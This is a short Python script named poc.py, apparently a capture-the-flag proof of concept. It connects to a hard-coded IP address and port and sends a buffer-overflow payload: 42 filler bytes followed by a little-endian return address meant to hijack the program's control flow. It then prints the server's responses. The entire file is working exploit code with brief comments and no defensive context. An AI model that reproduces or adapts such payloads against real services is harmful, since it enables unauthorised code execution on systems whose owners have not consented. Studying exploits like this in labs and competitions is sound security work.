poc.py

import socket

host , port = "212.237.56.32",33333 #Define HOST,PORT that you want to connect
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #Defind Socket

payload = "a"*42 + "\x61\x85\x04\x08" #Payload to exploit

s.connect((host,port)) #Connect to the server
print s.recv(1024) #Receive server response: "Enter the text: " 
s.send(payload + "\n")  #Send our payload , \n  to enter
print s.recv(1024) # Receive server response